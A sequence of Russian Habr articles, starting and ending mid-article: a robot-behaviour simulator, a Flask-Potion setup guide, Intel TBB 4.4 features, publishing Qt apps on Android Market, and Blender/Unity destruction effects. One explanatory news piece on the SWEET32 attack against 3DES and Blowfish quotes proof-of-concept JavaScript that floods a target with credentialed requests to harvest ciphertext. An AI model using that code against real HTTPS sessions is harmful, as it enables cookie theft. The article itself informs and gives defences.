Без всего этого можно посмотреть на сетку всех типов на одном поле.
После этого я задумался о том, чтобы у машинок был физический размер (чтобы они не проходили друг сквозь друга) но **расчёт коллизий** — задача тяжёлая для компьютера, тем более с таким большим количеством участников, поэтому я просто сделал пару снимков и отключил режим
В принципе, в нём было всё тоже самое, только машинки толкались вокруг их ассимптотических траекторий, а не находились точно на них, вот и всё. Вернёмся в мир без коллизий)
**Рассмотрим теперь систему на длинной выдержке — к чему она стремится?**
Режим переключения лампочек не позволяет системе остаться статической картинкой, но светолюбы очень постарались — они прицепились к своим лампам и не успевают от них отбежать в период когда они выключены.
Их более мудрая версия — успевает, и в итоге есть стайка, которая движется по циклической траектории между тремя лампами.
Светобоязливые работают иначе. Так как система защиты возвращает их с той же скоростью что и их скорость удаления — на каждом уровне, то они формируют ровный шум, примерно половина автоматов неспешно удаляется, другая половина возвращается в защитном режиме.
С их прокачанной нейродами версией дело обстоит иначе — они быстро разлетаются, но медлено собираются назад. Я ожидал что они в итоге сформируют ровный сужающийся круг, но нет. Они сохраняют несимметричную форму, и дают иногда красивые картинки
Иногда похожи на такой же хаос:
Меняющийся автомат чаще всего ведёт себя так же. Но в итоге они сбиваются в очень маленькие группы, которые достаточно кучно ездят от лампочки и к лампочке по вот таким рельсам.
Кроме нескольких автоматов, которые поймали «свою волну» и крутятся в правой части комнаты. Я ждал пока они примкнут к одному из трёх кланов, однако за 2 часа симуляции этого так и не случилось, похоже это тот самый случай странных динамически стабильных траекторий, как у того астероида, который облетает гравитационный колодец земли то справа то слева.
Циклические автоматы показали телефонную трубку (или улыбающуюся рожицу?), сбились в кучу, и стали сворачивать и разворачивать щупальца по очереди к работающим в данный момент лампам.
Рожица
Стабильный режим
Тем временем, пока шли долгоиграющие симуляции, я подумал над другими вариантами и добавил **ещё три нестандартных типа**. Они ориентируются не на свет, а на другие автоматы.
Первый из них ждёт пока в окрестности появятся автоматы, и пытается следовать за ближайшим из них. В остальное время стоит и грустит.
Можно назвать их собаками, потому что им нужен хозяева. Я поместил их на поле вместе с 5ым типом, иначе они бы все просто стояли.
Ещё один тип — усредняет координаты многих автоматов и бежит в толпу — «экстраверт».
Его антипод — интроверт, который пытается держать дистанцию.
В начале решётка имеет трансляционную симметрию и центральным автоматам некуда идти — в любую сторону они бы приближались к соседям, так что они ждут пока разбегутся крайние. Интересно это выглядит в режиме треков — мохнатая микросхема получается.
Теперь поместим все 9 типов (включая новые) и посмотрим на сетку. (перемешивание типов включено)
А в режиме треков они рисуют одуванчик
В центр я поместил источник света с отрицательным значением мощности. Не знаю, чего я ожидал, но антисвет хоть и приманивает обычно убегавших автоматов, но их поведение не становится похожим на «перекрещенные» аналоги светолюбов, а получается что-то третье, более сложное.
Ещё одуванчики, которые получились.
Так тоже получается одуванчик. Я заинтересовался, увидев отрисовку «паутинки» в уголке одной из симуляций — вдаль лучами уходили один за другим беглецы, а собаки за ними не успевали, и переходили от одного к другому вогнутыми полудугами. Подумал, что если сделать так массово, то получится паутинка, как её всегда рисуют. Поэтому закинул в комнату только эти два вида автоматов — но что-то пошло не так. В любой конфигурации система неустойчива и собаки заваливаются в какую-то сторону, в итоге выходит просто ещё один одуванчик — и никакой паутины.
Добавил ещё одну лампу.
А вот… Эм… Дикобраз?
В общем, поведение, как на мой вкус действительно достаточно сложное. Но двинемся дальше. Попробуем показать **нелинейность**. Для этого хорошо подходит разбегающаяся версия. Расходимость от сферы (которой является эквипотенциальная по освещённости поверхность вокруг лампочки) почти гарантирует появление детерменированого хаоса.
Запустим такую же сетку, но очень маленького размера — чтобы начальные условия для машинок различались лишь чуть-чуть (автоматы выезжают почти из одной точки), и посмотрим как система разовьётся и что нам покажет.
Теперь запустим такую же маленькую сетку, но с машинками разных типов и включенным перемешиванием типов
Такие вот интересные картинки получаются… Для разнообразия можно сменить **модель визуализации**, скажем, соединить все машинки линиями (как будто бы они бы натягивали одну длинную нитку). Так удобнее наблюдать за тем как именно алгоритм комкает изначально ровную сетку машинок, и куда он отправляет разные её части — как они мигрируют по своему миру.
Получаются залипалки вроде той что в медиаплеере.
Иногда появляются интересные фигуры.
**В общем**, такой вот симулятор. Не стесняйтесь предлагать свои идеи и предложения в комментариях, что ещё можно добавить, или какой эксперимент поставить. Лично я считаю получившуюся штуку удобной демонстрацией для теории нелинейных систем — в ней можно искать ассимптотику, расходимости, любопытные паттерны, показывающие сложность простых систем… Людям может пригодится концепт как в автоматизации, так и начинающим в построении BEAM роботов — чтобы понять суть, ну и вообще — посмотреть цветные картинки.
Всем добра, роботопсихологи. Это всё.
 | https://habr.com/ru/post/342154/ | null | ru | null |
# Атака SWEET32: Исследователи обнаружили новый способ взлома шифров 3DES и Blowfish
[](https://habrahabr.ru/company/pt/blog/308746/)
Исследователи информационной безопасности Картикеян Баргаван (Karthikeyan Bhargavan) и Гаетан Лоран (Gaëtan Leuren) разработали атаку на шифры 3DES и Blowfish. Например, с ее помощью можно получить использующиеся для аутентификации cookie из зашифрованного 3DES HTTPS-трафика, а также восстанавливать имена пользователей и пароли из зашифрованного с помощью Blowfish трафика, передаваемого через VPN.
Атака, которая получила название SWEET32, посвящен отдельный [сайт](https://sweet32.info/), ее подробности и демо-видео исследователи планируют представить на конференции ACM Conference on Computer and Communications Security, которая в следующем месяце пройдет в Австрии. Мы собрали известную на данный момент информацию в своем материале.
### В чем проблема
Криптографические протоколы вроде TLS, SSH, IPsec и OpenVPN используют алгоритмы блочного шифрования (AES, Triple-DES, Blowfish). Таким образом обеспечивается шифрование передаваемых между клиентом и сервером данных. Данные при этом разбиваются на блоки фиксированной длины, каждый из которых шифруется отдельно. Более старые шифры вроде Triple-DES и Blowfish используют размер блока равный 64 битам, а AES использует размер блока 128 бит.
Короткая длина блока делает шифр уязвимым к «[атакам дня рождения](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%C2%AB%D0%B4%D0%BD%D0%B5%D0%B9_%D1%80%D0%BE%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F%C2%BB)». Исследователи заявляют о том, что подобные атаки встречаются для 64-битных шифров протоколов TLS и OpenVPN. Подобные алгоритмы шифрования используются огромным количеством ресурсов в интернете.
SWEET32 — это атака поиска коллизий в режиме сцепления блоков с использованием обратной связи CBC. Например, злоумышленник, который может мониторить долго существующие Triple-DES HTTPS-соединения между браузером и сайтом, имеет возможность восстановить HTTP-cookies — для этого нужно будет сохранить 785 гигабайт трафика.
*Перехват защищенного трафика*
На практике это позволяет расшифровывать HTTPS-соединения — при условии, что токен аутентификации передается в каждом запросе. Благодаря тому, что возможно предугадать содержание заголовков сообщений (или наличию возможности их контроля) злоумышленник может сгенерировать большое число запросов с некоторым количеством заранее предсказуемых данных в ответах и, в результате, попытаться расшифровать нужные сессии и узнать токен.
В ходе PoC-атаки исследователям удалось сделать это меньше чем за два дня с помощью специального JavaScript-кода для генерации трафика.
С точки зрения вычислительной сложности атака SWEET32 сравнима с недавними атаками на шифр RC4. Кроме того, исследователям удалось осуществить похожие атаки на VPN-сессии, использующие 64-битные шифры — к примеру, на практике эта ситуация может встретиться в случае применения OpenVPN, который настроен на использование Blowfish.
### Насколько все серьезно
Важным требованием для осуществления атаки является необходимость отправки большого количества запросов с помощью одного и того же TLS-соединения — это является серьезным сдерживающим фактором для практического проведения подобных атак. Таким образом, атакующий должен найти клиента и сервер, которые не только общаются, например, с помощью Triple-DES, но и обмениваются большим количеством HTTP-запросов внутри одного TLS-соединения без выпуска новых ключей.
Такая ситуация возможна — все зависит от сервера, поскольку все протестированные браузеры (Firefox, Chrome, Opera) используют TLS-соединение до тех пор, пока сервер держит его открытым. В свою очередь, многие HTTP-серверы закрывают TLS-соединение по достижению определенного лимита переданного трафика, даже если оно еще остается активным. К примеру, Apache и Nginx ограничивают число запросов, которые можно отправить в рамках одного соединения, числом 100. Но, к примеру, у IIS при использовании стандартных настроек подобных лимитов нет.
В итоге общее число серверов, которые принимают большое количество запросов по одному соединению, остается большим, пишут исследователи. Исследователи просканировали веб-серверы из каталога Alexa — для этого использовался инструмент cipherscan. Выяснилось, что 86%, поддерживающих TLS, включают Triple-DES в качестве одного из используемых шифров.
Были выявлены 11483 разных HTTPS-северов, 226 (1.9%) из которых обмениваются с клиентами данными с помощью Triple-DES. 72 из этих серверов (0.6% от общего числа) держали соединение открытым как минимум для 800 тысяч запросов. Это значит, что длительность тестовой атаки не говорит о ее нереализуемости — около 0,6% HTTPS-соединений в интернете уязвимы перед ней.
### PoC-атака
Ниже представлен код атаки SWEET32. Для ее осуществления используются веб-воркеры, генерирующие XmlHttpRequests.
Содержание файла attack.html:
```
var W = new Array;
for (var i=0; i<8; i++) {
var x = new Worker("worker.js");
W.push(x);
}
```
Файл worker.js:
```
var url = "https://10.0.0.1/index.html";
var xhr = new XMLHttpRequest;
// Expand URL to ~4kB using a query string
// Alternatively, force a large cookie
url += "?";
var x = 10000000;
for (var i=0; i<=500; i++) {
url += x++;
}
while(true) {
xhr.open("HEAD", url, false);
xhr.withCredentials = true;
xhr.send();
xhr.abort();
}
```
В ходе эксперимента «захват» зашифрованных пакетов проводился с помощью tcpdump, а для извлечения блоков шифротекста применялась программа на C++, использующая libpcap.
В случаях атаки на HTTPS и VPN каждый запрос отправляется в отдельной зашифрованной записи, содержащей обычный текст в фиксированной позиции. Это позволяет атакующему знать, к какому блоку открытого текста относится блок шифротекста (и, например, соответствующим образом назначать cookie до лимита блокировки). После сохранения необходимого объёма трафика программа на C++ сортирует блоки шифротекста для выявления коллизий. На расшифровку сохраненного трафика у исследователей ушло около четырех часов.
### Как защититься
Исследователи рекомендуют отказаться от использования 64-битных “legacy-шифров” блочного шифрования. Если же это по какой-то причине невозможно, то снизить вероятность ее успешного проведения можно следующим образом:
Веб-серверы и VPN должны быть настроены на предпочтение 128-битных шифров. Согласно данным исследователей, около 1,1% процента из 100 тысяч самых популярных сайтов каталога Alexa и 0,5% из миллиона самых популярных поддерживают AES, но предпочитают использовать 3DES.
Веб-браузеры должны использовать 3DES в качестве “fallback-only” шифра во избежание ситуации, при которой он используется в общении с серверами, поддерживающими AES.
TLS-библиотеки и приложения должны ограничивать длину TLS-сессий для 64-битных шифров. Сделать это можно с помощью механизма повторной установки соединения.
Пользователи OpenVPN могут изменить используемый шифр с «дефолтного» Blowfish на AES. Если сделать этого нельзя, то необходимо принудительно инициировать повторный выпуск ключей с помощью функции reneg-bytes 64000000. | https://habr.com/ru/post/308746/ | null | ru | null |
# Система контроля библиотеки на Flask-Potion, Часть 0: готовим всё, что понадобится
Введение
========
В своей работе я уже некоторое время использую [Flask-Potion](https://potion.readthedocs.io) — фреймворк, основными достоинствами которого являются: весьма удобная интеграция с SQLAlchemy моделями, автогенерация crud-эндпоинтов, наличие клиента [potion-client](https://github.com/biosustain/potion-client) (весьма удобного, если пишешь API сервиса, использование которого понадобится в другом сервисе).
Я заметил, что на русском языке о flask-potion почти ничего нет, но думаю кому-то это данный фреймворк может показаться интересным.
Вместо простой обзорной статьи на этот фреймворк я решил написать несколько статей о создании системы контроля для библиотеки "Furfur" на основе Flask-Potion.
Данная система должна уметь делать следующее:
* Хранить информацию о книгах (isbn, название, описание, автор и т.д.)
* Хранить информацию о пользователях (читатели и библиотекари)
* Оформлять выдачу книги из библиотеки на определённый срок с возможностью продления
В этой системе мы воспользуемся следующими инструментами:
* PostgreSQL
* Flask, Flask-SQLAlchemy, Flask-JWT, Flask-Potion, Flask-Migrate
Подготовка
==========
Скелет
------
Чтобы не собирать скелет для проекта самим, воспользуемся cookiecutter-шаблоном [Valefor](https://clck.ru/JVaLP), который включает в себя все вышеперечисленные зависимости и даже больше.
```
cookiecutter gh:lemegetonx/valefor
```
Этот шаблон включает в себя два приложения:
1. app — основное. Содержит в себе функции-обработчики для jwt, mixin классы для potion ресурсов и sqlalchemy моделей, а также пакет с конфигурациями для приложения.
2. user — на старте шаблона, содержит только модель пользователя.
Установка зависимостей
----------------------
В шаблоне используется poetry для разрешения зависимостей, но с недавних пор pip тоже поддерживает *pyproject.toml*, поэтому тут выбор за вами. Я воспользуюсь poetry.
```
poetry install
```
Конфигурация
------------
Для упрощённой конфигурации в шаблоне применена библиотека sitri. Нам понадобится немного изменить настройку объекта Sitri.
1. Изменим *app/config/provider.py*. Заменим *SystemCredentialProvider* на *YamlCredentialProvider*, чтобы данные для авторизации в сторонних системах брались из файла *credential.yaml*, добавлять который в коммиты мы не будем:
```
from sitri import Sitri
from sitri.contrib.yaml import YamlConfigProvider, YamlCredentialProvider
configuration = Sitri(
config_provider=YamlConfigProvider(yaml_path="./config.yaml"),
credential_provider=YamlCredentialProvider(yaml_path="./credential.yaml"),
)
```
P.S. подробнее о том, что собственно здесь происходит легче прочитать в [документации](https://sitri.readthedocs.io), если коротко, то сейчас мы просто определили откуда будем брать данные для конфигурации и авторизации.
1. Раз уж мы сделали по сути одинаковые провайдеры, то лучше в *database.py* заменить нижние подчеркивания в ключах в вызове *get\_credential* на точки.
```
DB_NAME = configuration.get_credential("db.name", path_mode=True)
DB_HOST = configuration.get_credential("db.host", path_mode=True)
DB_PASSWORD = configuration.get_credential("db.user.password", path_mode=True)
DB_PORT = configuration.get_credential("db.port", path_mode=True)
DB_USER = configuration.get_credential("db.user.name", path_mode=True)
```
Итак, файл *config.yaml* уже был в шаблоне, а вот *credential.yaml* должны написать сами. В реальной жизни подобные файлы обязательно добавляются в .gitignore, но я добавлю шаблон *credential.yaml* в репозиторий, чтобы его структура была понятна любому, кто зайдёт в проект.
Базовый *credential.yaml*:
```
db:
name: furfur_db
host: localhost
port: 5432
user:
password: passwd
name: admin
```
База данных
-----------
Следующий этап нашей подготовки — это развертывание СУБД, в данном случае PostgreSQL. Я для удобства сделаю *stack.yaml* файл, где опишу запуск контейнера postgres с нужными для нас данными.
```
version: '3.1'
services:
db:
image: postgres
restart: always
environment:
POSTGRES_PASSWORD: passwd
POSTGRES_USER: admin
POSTGRES_DB: furfur_db
ports:
- 5432:5432
```
Как говорилось ранее, в состав шаблона valefor входит базовая модель User, нужная для работы JWT (хендлеров), поэтому заключительный этам подготовки БД — это миграция (создание таблицы пользователей).
Находясь в корне проекта исполняем следующие команды:
```
export FLASK_APP=furfur.app
flask db init
flask db migrate
flask db upgrade
```
Всё, с подготовкой БД, как и в целом основы для нашей системы, мы закончили.
Что дальше?
===========
В следующей части мы поговорим о том, как организовать простую систему ролей и аунтификацию по JWT.
Репозиторий проекта: <https://github.com/Egnod/furfur>
Всё, что изложено в данной части: <https://github.com/Egnod/furfur/releases/tag/0.0.2> | https://habr.com/ru/post/472018/ | null | ru | null |
# Intel Threading Building Blocks 4.4 – что нового?
Недавно вышло большое обновление Intel® Parallel Studio XE 2016, и вместе с ним Intel® Threading Building Blocks 4.4. В новой версии появилось несколько интересных дополнений:
* Глобальный контроль для управления ресурсами, в первую очередь, количеством рабочих потоков.
* Новые типы узлов Flow Graph: composite\_node и async\_node. Кроме того, во Flow Graph была улучшена функциональность сброса (reset).
* Больше фишек из С++11 для лучшей производительности.
Глобальный контроль
===================
Бывает много случаев, когда нужно ограничить число рабочих потоков параллельного алгоритма. Intel TBB позволяет это сделать через инициализацию объекта tbb::task\_scheduler\_init, указав в параметре желаемое количество потоков:
```
tbb::task_scheduler_init my_scheduler(8);
```
Однако, приложение может иметь сложную структуру. Например, множество плагинов, или потоков, каждый из которых может использовать свою версию Intel TBB. В этом случае будет несколько объектов *tbb::task\_scheduler\_init*, и созданием нового дело не исправишь.
Для решения таких проблем появился класс *tbb::global\_control*. Создание объекта такого класса с параметром *global\_control::max\_allowed\_parallelism* ограничивает количество активных потоков Intel TBB глобально. В отличие от *the tbb::task\_scheduler\_init*, это ограничение сразу становится общим для всего процесса, даже если библиотека уже инициализирована в других модулях или потоках. Уже созданные потоки, конечно, не исчезнут, но активно работать одновременно будет столько, сколько указано, остальные будут ждать.
```
#include "tbb/parallel_for.h"
#include "tbb/task_scheduler_init.h"
#define TBB_PREVIEW_GLOBAL_CONTROL 1
#include "tbb/global_control.h"
using namespace tbb;
void foo()
{
// The following code could use up to 16 threads.
task_scheduler_init tsi(16);
parallel_for( . . . );
}
void bar()
{
// The following code could use up to 8 threads.
task_scheduler_init tsi(8);
parallel_for( . . . );
}
int main()
{
{
const size_t parallelism = task_scheduler_init::default_num_threads();
// total parallelism that TBB can utilize is cut in half for the dynamic extension
// of the given scope, including calls to foo() and bar()
global_control c(global_control::max_allowed_parallelism, parallelism/2);
foo();
bar();
} // restore previous parallelism limitation, if one existed
}
```
В этом примере функции *foo()* и *bar()* инициализируют TBB task scheduler локально. При этом объект *global\_control* в *main()* устанавливает верхний лимит одновременно работающих потоков. Будь у нас ещё один *task\_scheduler\_init* вместо глобального контроля, ре-инициализация Intel TBB в *foo()* и *bar()* не произошла бы, т.к. главный поток уже имел бы активный *task\_scheduler\_init*. Локальные установки в *foo()* и *bar()* были бы проигнорированы, обе функции использовали бы ровно то число потоков, которое было установлено в *main()*. C *global\_control* мы жёстко ограничиваем верхний предел (например, не больше 8 потоков), но это не мешает инициализировать библиотеку локально с меньшим числом потоков.
Объекты *global\_control* могут быть вложенными. Когда мы создаём новый, он переписывает лимит потоков в меньшую сторону, в большую не может. Т.е. Если сначала создали *global\_control* с 8 потоками, потом с 4, то ограничение будет 4. А если сначала с 8, потом с 12, ограничение будет 8. А когда объект *global\_control* удаляется, восстанавливается предыдущее значение, т.е. минимум из установок всех «живых» объектов глобального контроля.
*tbb::global\_control* пока является preview feature в Intel TBB 4.4. Кроме количества потоков, этот класс позволяет ограничить размер стэка для потоков через параметр *thread\_stack\_size*.
Flow Graph composite\_node
==========================
Новый тип узла *tbb::flow::composite\_node* позволяет «упаковывать» любое количество других узлов. Большие приложения с сотнями узлов могут быть лучше структурированы, собираясь из нескольких крупных блоков *tbb::flow::composite\_node*, с определёнными интерфейсами входа и выхода.
Пример на картинке выше использует *composite\_node* для инкапсуляции двух узлов, *join\_node* и *function\_node*. Концепция в том, чтобы продемонстрировать, что сумма первых n положительных нечётных чисел равна n в квадрате.
Сначала создаём класс *adder*. В нём есть *join\_node* j с двумя входами и *function\_node* f. j получает число на каждый из своих входов, и отсылает tuple из этих чисел на вход f, который складывает числа. Для инкапсуляции этих двух узлов *adder* наследуется от типа *composite\_node* с двумя входами и одним выходом, что соответствует двум входам j и одному выходу f:
```
#include "tbb/flow_graph.h"
#include
#include
using namespace tbb::flow;
class adder : public composite\_node< tuple< int, int >, tuple< int > > {
join\_node< tuple< int, int >, queueing > j;
function\_node< tuple< int, int >, int > f;
typedef composite\_node< tuple< int, int >, tuple< int > > base\_type;
struct f\_body {
int operator()( const tuple< int, int > &t ) {
int n = (get<1>(t)+1)/2;
int sum = get<0>(t) + get<1>(t);
std::cout << "Sum of the first " << n <<" positive odd numbers is " << n <<" squared: " << sum << std::endl;
return sum;
}
};
public:
adder( graph &g) : base\_type(g), j(g), f(g, unlimited, f\_body() ) {
make\_edge( j, f );
base\_type::input\_ports\_type input\_tuple(input\_port<0>(j), input\_port<1>(j));
base\_type::output\_ports\_type output\_tuple(f);
base\_type::set\_external\_ports(input\_tuple, output\_tuple);
}
};
```
Дальше создаём *split\_node* s, который будет служить источником положительных нечётных чисел. Используем первые 4 таких числа: 1, 3, 5 и 7. Создаём три объекта *adder*: a0, a1 и a2. *Adder* a0 получает 1 и 3 от *split\_node*. Они складываются, и сумма отправляется к a1. Второй *adder* a1 получает сумму 1 и 3 с одного входного порта, и 5 со второго от *split\_node*. Эти значения тоже складываются, и сумма отправляется в a2. Таким же образом, третий adder a2 получает сумму 1, 3 и 5 с одного входа и 7 со второго входа от *split\_node*. Каждый *adder* пишет сумму, которую он вычислил, которая равна квадрату количества чисел в момент выполнения *adder* в графе.
```
int main() {
graph g;
split_node< tuple > s(g);
adder a0(g);
adder a1(g);
adder a2(g);
make\_edge(output\_port<0>(s), input\_port<0>(a0));
make\_edge(output\_port<1>(s), input\_port<1>(a0));
make\_edge(output\_port<0>(a0),input\_port<0>(a1));
make\_edge(output\_port<2>(s), input\_port<1>(a1));
make\_edge(output\_port<0>(a1), input\_port<0>(a2));
make\_edge(output\_port<3>(s), input\_port<1>(a2));
s.try\_put(std::make\_tuple(1,3,5,7));
g.wait\_for\_all();
return 0;
}
```
Flow Graph async\_node
======================
Шаблонный класс *async\_node* позволяет асинхронно работать с активностями, происходящими за пределами пула потоков Intel TBB. Например, если ваше Flow Graph приложение должно общаться со сторонним потоком, рантаймом или устройством, *async\_node* может стать полезным. Он имеет интерфейсы для отправки результата обратно, поддерживая двустороннюю асинхронную коммуникацию между TBB Flow Graph и внешней для него сущностью. *async\_node* является preview feature в Intel TBB 4.4.
Сброс flow graph (reset)
========================
Теперь можно сбрасывать состояние Flow Graph после некорректной остановки, например, выброшенного исключения или явной остановки (cancel) с помощью вызова *tbb::flow::graph::reset(reset\_flags f)*. Для удаления всех рёбер графа используйте флаг reset(rf\_clear\_edges), для сброса всех функциональных объектов — флаг reset(rf\_reset\_bodies).
Ещё добавились (как preview) следующие операции над графом:
* Вырезание одного узла из графа
* Получение количества «предшественников» и «последователей» узла
* Получение копии всех «предшественников» и «последователей» узла
C++ 11
======
Операции перемещения (move operations) C++11 помогают избежать ненужного копирования данных. В Intel TBB 4.4 появились move-aware insert и emplace методы для контейнеров *concurrent\_unordered\_map* и *concurrent\_hash\_map*. *concurrent\_vector::shrink\_to\_fit* был оптимизирован для типов, поддерживающих C++11 move semantics.
Контейнер *tbb::enumerable\_thread\_specific* получил move constructor и оператор присваивания. Локальные значения потока теперь могут быть сконструированы с произвольным числом аргументов с помощью конструктора, использующего variadic templates.
Заголовочный файл tbb/compat/thread автоматически включает C++11 где возможно. “Exact exception propagation” появилось для Intel® C++ Compiler под OS X\*.
Вы можете скачать последнюю версию Intel TBB c [open source](http://threadingbuildingblocks.org/) или [коммерческого](https://software.intel.com/en-us/articles/intel-tbb) сайтов. | https://habr.com/ru/post/266587/ | null | ru | null |
# Qt и Android Market или вторая жизнь Анаграмм
В конце ноября мне стукнула моча в голову и я написал достаточно глупый и несуразный пост об одном из своих приложений, находящийся [здесь](http://habrahabr.ru/blogs/mobiledev/133403/). Тогда пост был заминусован, что в принципе логично, учитывая то, какого качества он был.
Тем не менее, от того, что пост был хреновым, само приложение хуже не стало. Хоть и на некоторое время было отложено в долгий ящик. Вчера вечером, я как-то мельком проглядывал блог ребят из [Сutehacks](http://cutehacks.com/), компании, занимающейся разработкой Qt приложений и старающихся сделать на этом денежку. Так вот, просматривая блог, я наткнулся на [пост](http://cutehacks.com/2011/10/28/devdays2011/), в конце которого была презентация под названием «Targeting Android with Qt».
В этой презентации, помимо каких-то абстрактных мыслей, разработчики подробно объяснили, какие шаги необходимо сделать для того, чтобы портировать своё приложение на новую платформу, а затем и загрузить его в Android Market. Здесь я хочу вкратце перечислить эти этапы, а всю дополнительную информацию желающие смогут получить из оригинальной [презентации](http://www.slideshare.net/snowpong/targeting-android-with-qt?ref=http://cutehacks.com/2011/10/28/devdays2011/) на Slide Share.
Итак, что нам нужно сделать:
1. Написать приложение на Qt
2. [Используя Necessitas Qt SDK собрать и протестировать его для платформы Android](http://habrahabr.ru/blogs/mobiledev/125845/)
3. Внести некоторые правки в AndroidManifest.xml и пересобрать приложение
4. Подписать своё приложение RSA-ключом
5. Зарегистрироваться в Android Market
6. Опубликовать своё приложение
7. Тестируем загрузку из маркета
Стоит упомянуть, что на вчерашний вечер, у меня были завершены лишь первые 2 пункта. По первому пункту писать что-то смысла не вижу, второй же пункт ведёт на одну из статей хабра, посвящённую рассматриваемой тематике.
Начнём с третьего. в файле AndroidManifest.xml нашего проекта, необходимо будет поправить 2 строчки:
```
---a/android/AndroidManifest.xml
+++b/android/AndroidManifest.xml
@@-1,5+1,5@@
xmlversion='1.0'encoding='utf-8'?
-
```
и
```
---a/android/AndroidManifest.xml
+++b/android/AndroidManifest.xml
@@-14,4+14,5@@
```
также, стоит помнить, что опции по использованию Ministro следует оставить по умолчанию, то есть велеть приложению качать зависимости из маркета. После этого, пересобираем наше приложение и копируем получившийся -debug.apk в какую-либо директорию под именем -1.0.apk. И переходим к 4-му этапу.
Здесь нам необходимо будет выполнить две команды в консоли, производящие некие магические действия над полученным пакетом:
```
$ keytool -genkey -v -keystore kafeg-release-key.keystore -alias kafegkeystore -keyalg RSA -keysize 2048 -validity 10000
... bla bla bla ...
$ jarsigner -verbose -keystore kafeg-release-key.keystore ./-1.0.apk kafegkeystore
```
Первая команда создаёт хранилище и ключик, она также запрашивает много всякой личной фигни, включая пароль на само хранилище.
Вторая команда собственно подписывает само приложение. Вот и всё, с подписью покончено, теперь наше приложение подписано, отредактировано и готово к загрузке в маркет. Что дальше?
А дальше самые интересные этапы. Для начала нам нужно зарегистрироваться в маркете. Для этого нам понадобится примерно $25 долларов и кредитка. Переходим по ссылке [market.android.com/publish](http://market.android.com/publish) и следуем инструкции, там всё понятно (а кому не понятно, милости прошу посмотрет ьпрезентацию по ссылке выше). **Единственное и самое главное, что я хочу отметить на данном этапе — не нужно специально заказывать отдельную кредитку, можно оплатить взнос простой дебетной (зарплатной) картой. К примеру у меня это Visa Electron от [КазКома](http://kkb.kz/)**.
После оплаты, списанная сумма будет висеть в заблокированной сумме некоторое время. К примеру у меня она висит в заблокированных до сих пор, хотя Google Checkout говорит о том, что продавец уже благополучно списал всю сумму. Собственно всё, теперь мы можем публиковать бесплатные приложения. Чтобы публиковать платные, нужно зарегистрироваться как продавец, это не входило в мои планы. Идём далее…
Интерфейс публикации нового бесплатного приложения появится сразу, но заработает он примерно через 6-10 часов после оплаты. До истечения этого срока, при попытке загрузить новый скриншот или иконку Вы будете получать сообщение типа «Невозможно обработать ответ в формате JSON, отключите синтаксический анализатор, если он у вас есть блаблабла». Когда же пройдёт некоторое время, интерфейс заработает и спокойно скушает всё что Вы ему скормите. Единственная проблема с которой я столкнулся в последствии — моё приложение хоть и опубликовано, а также доступно по прямой ссылке, но тем не менее оно некоторое время (около получаса) не появлялось в результатах поиска… это слегка напрягало.
Ну и наконец тестирование. Для этого я взял свой смарт, удалил с него тестовое приложение, выключил дебаг в натсройках, удалил Ministro вместе со всеми скачанными приложениями, зашёл в маркет на страницу своего приложения и нажал кнопку «Установить». После установки запустил прилождние, оно потребовало докачать Ministro и бибилиотек, жмякнул пару раз Ок и через 2 минуты уже играл.
Вот в общем и всё. Вчера, зарегистрировавшись в маркете за 15 минут я немного недоумевал читая пост [Долгий пуnь к Android Market](http://habrahabr.ru/blogs/android/116039/), так как описанное там (кроме получения бабла) я выполнил за вечер без всякой предварительной подготовки.
Конечно хотелось бы получить некоторую обратную связь, сообщения об ошибках и крахах, замечания, дополнения и тому подобное для данного приложения, так как оно является одним из первых Qt приложений, размещённых в маркете. Спасибо.
Прямая ссылка, для просмотра в браузере: [market.android.com/details?id=com.kafeg.Anagram](https://market.android.com/details?id=com.kafeg.Anagram)
QR-код, для загрузки с устройства:
[Страница с результатами поиска](https://market.android.com/search?q=%D0%90%D0%BD%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B&c=apps)
Я считаю, что цель достигнута, доказательства работоспособности на лицо и уже вполне можно начинать портировать множество готовых Qt-приложений на новую платформу. | https://habr.com/ru/post/138743/ | null | ru | null |
# Простая имитация разрушений с использованием Unity и Blender
Всем привет! недавно задался вопросом насчет разрушений в Unity, поискал в интернете что есть на эту тему, но увы я нашел лишь кучу вопросов и обсуждений.
И нет я не заявляю что моя статья единственная в своем роде, потому что метод довольно прост, но почему-то прямого туториала для этого я не нашел.
Начнем с того что в Unity НЕЛЬЗЯ РАЗРУШИТЬ/РАЗДЕЛИТЬ/РАЗРЕЗАТЬ объект, наши разрушения будут по сути то и не разрушениями вовсе, а лишь их визуальной имитацией, поскольку как я сказал выше, невозможно по другому.
СОБСТВЕННО!
Хватит лить воду и тратить ваше время в пустую(все же я посчитал нужным оставить предисловие). Для начала вам потребуется скачать из магазина стим программу под названием Blender, после чего заходим и начинаем разбираться.
Создаем новый проект, и во вкладке «Правка/Edit» ищем кнопку «Аддоны/Addons», и пишем в поиск Cell Fracture, затем ставим рядом с ним галочку дабы включить его.
После чего переходим на саму нашу сцену в Блендере, и видим там куб который есть изначально при создании сцены.
Нас интересует вкладка «Моделирование/Modeling», заходим в нее, нажимаем на объект правой кнопкой мыши > подразделить/subdivide, и видим что куб стал как-бы в «клеточку»
Теперь вернемся на первую вкладку «Макет/Layout», нажмем на кнопку объект/object > быстрые эффекты/fast effects > Cell Fracture, и нам откроется окно для управления Аддоном.
Просто нажимаем кнопку «ДА» и смотрим за результатом.
Как можно заметить, наш куб разделился визуально, значит все прошло успешно, это и есть та самая фрагментация.
Остались последние шаги в Блендере, и можно переходить к созданию сцены, нажмем на file/файл > экспортировать/export > .fbx, и сохраним в удобную для нас папку.
Открываем Unity, создаем или открываем старый проект, и приступим собственно к сборке нашей сцены.Для этого нам понадобится создать plаne и sphere, теперь из нашей папки в окно иерархии добавляем куб что мы только что экспортировали, затем перетаскиваем его уже непосредственно на сцену.
Для того чтобы Unity понимал что это физический объект, нужно добавить две вещи, нажмем на наш куб в окне иерархии, тем самым раскрыв список объектов внутри (частей из которых он состоит), затем зажав shift, выделим самый первый объект из списка, и самый последний, при помощи этой манипуляции мы выделим весь список.
Осталось нажать АddComponent, и в поиске прописав collider, выбрать «Mesh Collider».
В самом коллайдере нажимаем на «Convex», для его отображения, и все.
Теперь повторяем сделанное ранее, но только уже ищем Rigidbody.
Со сферой нужно сделать тоже самое, только без коллайдера, ведь он висит там изначально.
На этом наша подготовка закончена, и можно перейти к самому интересному, как говорится — «краткость сестра таланта», именно поэтому создаем новый C# скрипт в окне иерархии, и пишем туда следующее:
```
using System.Collections;
